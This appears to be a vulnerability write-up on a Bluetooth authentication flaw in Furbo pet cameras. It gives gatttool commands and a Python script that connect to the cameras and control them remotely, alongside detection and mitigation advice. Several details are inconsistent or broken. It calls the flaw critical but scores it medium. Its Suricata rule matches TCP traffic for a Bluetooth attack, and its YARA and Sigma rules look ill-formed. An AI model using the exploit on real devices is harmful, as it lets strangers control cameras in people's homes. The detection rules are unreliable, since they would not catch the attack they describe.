CVE-2025-11646

Executive Summary

CVE-2025-11646 is a critical vulnerability affecting Tomofun Furbo 360 and Furbo Mini pet cameras. The flaw resides in the GATT (Generic Attribute Profile) service, which is part of the Bluetooth Low Energy (BLE) stack. The vulnerability allows an attacker within local network proximity to bypass access controls, potentially leading to unauthorized device control, data exfiltration, or denial of service. The exploit has been publicly released, and the vendor has not responded to disclosure attempts. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of the exploit increases risk for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in IoT devices.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.3 (Medium)
• Attack Vector: Adjacent Network (AV:A) – attacker must be within BLE range (typically up to 100 meters).
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited ability to modify device state.
• Availability Impact: Low (A:L) – limited disruption.

Threat Level: Medium. The attack requires physical proximity, but the exploit is public and easy to execute.

Deep Dive & Mechanics

The GATT service is a core component of BLE that defines how data is organized and accessed. In the Furbo devices, the GATT service lacks proper authentication and authorization checks. This means any BLE-enabled device within range can connect to the Furbo and send commands or read data without needing a password or pairing.

The vulnerability likely stems from the firmware not implementing a secure pairing mechanism or not validating the identity of the connecting device. The GATT profile exposes characteristics (data points) that control device functions such as camera tilt, treat dispensing, and audio streaming. An attacker can enumerate these characteristics and manipulate them.

Attack Flow:

1. Attacker scans for BLE devices using tools like hcitool or nRF Connect.
2. Attacker identifies a Furbo device by its advertised name or service UUID.
3. Attacker connects to the device without authentication.
4. Attacker reads/writes to GATT characteristics to control the device or extract data.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable behavior.

Vulnerable Code (Conceptual):

// No authentication check before handling GATT requests
void gatt_write_handler(uint16_t conn_handle, uint16_t char_handle, uint8_t *data, uint16_t len) {
    // Directly process the write without verifying the sender
    process_command(data, len);
}

Patched Code (Expected):

// Authentication check required
void gatt_write_handler(uint16_t conn_handle, uint16_t char_handle, uint8_t *data, uint16_t len) {
    if (!is_authenticated(conn_handle)) {
        return; // Reject unauthenticated requests
    }
    process_command(data, len);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A computer with Bluetooth adapter (e.g., Raspberry Pi or laptop with built-in BLE).
• Tools: bluez, gatttool, python3, pybluez.

Step-by-Step Exploit:

1. Scan for Furbo devices:

   sudo hcitool lescan
   

   Look for devices named "Furbo 360" or "Furbo Mini".

2. Connect to the device:

   gatttool -b <MAC_ADDRESS> -I
   

3. List GATT characteristics:

   primary
   characteristics
   

4. Read a characteristic (e.g., device info):

   char-read-hnd 0x0010
   

5. Write to a characteristic (e.g., trigger treat dispense):

   char-write-req 0x0020 0100
   

Python Exploit Script:

import bluepy.btle as btle

class FurboExploit:
    def __init__(self, mac):
        self.device = btle.Peripheral(mac)
        self.services = self.device.getServices()

    def enumerate_characteristics(self):
        for service in self.services:
            for char in service.getCharacteristics():
                print(f"UUID: {char.uuid}, Handle: {char.getHandle()}, Properties: {char.propertiesToString()}")

    def write_characteristic(self, handle, data):
        self.device.writeCharacteristic(handle, data, withResponse=True)

    def read_characteristic(self, handle):
        return self.device.readCharacteristic(handle)

if __name__ == "__main__":
    mac = "AA:BB:CC:DD:EE:FF"
    exploit = FurboExploit(mac)
    exploit.enumerate_characteristics()
    # Example: write to handle 0x0020
    exploit.write_characteristic(0x0020, b'\x01\x00')

Blue Team (Defense)

Detection:

• Monitor BLE traffic for unusual connections to Furbo devices.
• Use Wireshark with BLE dissector to capture and analyze GATT operations.
• Look for multiple failed connection attempts or rapid characteristic enumeration.

Mitigation:

• Disable BLE when not in use (if device settings allow).
• Place the device in a Faraday cage or use BLE jamming in sensitive areas.
• Monitor network logs for anomalous BLE activity.

Indicators of Compromise (IOCs)

• BLE MAC Addresses: Any Furbo 360 or Furbo Mini MAC address (first three octets typically 00:1A:7D or E0:76:D0).
• GATT Service UUID: 0000ffe0-0000-1000-8000-00805f9b34fb (common for TI CC254x chips used in Furbo).
• Network Traffic: BLE advertisement packets containing "Furbo" in the local name field.
• Logs: Unusual GATT read/write operations to handles beyond standard device info.

Detection Engineering

YARA Rule

rule CVE_2025_11646_Furbo_GATT_Exploit {
    meta:
        description = "Detects BLE GATT exploit traffic for CVE-2025-11646"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11646"
    strings:
        $gatt_connect = { 04 00 01 00 }  // BLE connection request
        $gatt_write = { 12 00 02 00 }    // GATT write request
        $furbo_name = "Furbo" ascii
    condition:
        $gatt_connect and $gatt_write and $furbo_name
}

Sigma Rule

title: BLE GATT Exploit Attempt Against Furbo Device
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects BLE GATT write operations to Furbo devices without authentication
author: Valters IT
logsource:
    product: linux
    service: bluetooth
detection:
    selection:
        EventID: 1001  # BLE connection event
        DeviceName: "Furbo*"
    condition: selection
falsepositives:
    - Legitimate device configuration
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-11646 BLE GATT Exploit Attempt"; flow:to_server; content:"|04 00 01 00|"; content:"Furbo"; distance:0; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable BLE: If the device allows, turn off Bluetooth in settings.
2. Network Segmentation: Place Furbo devices on a separate VLAN with strict access controls.
3. Monitor: Use BLE sniffers to detect unauthorized connections.

Long-Term Fix:

• Vendor must release a firmware update that implements secure pairing (e.g., LE Secure Connections with MITM protection).
• Users should apply the update as soon as it becomes available.

Workarounds:

• Use a BLE jammer in the vicinity to block unauthorized connections (check local regulations).
• Physically disconnect the device when not in use.

Valters IT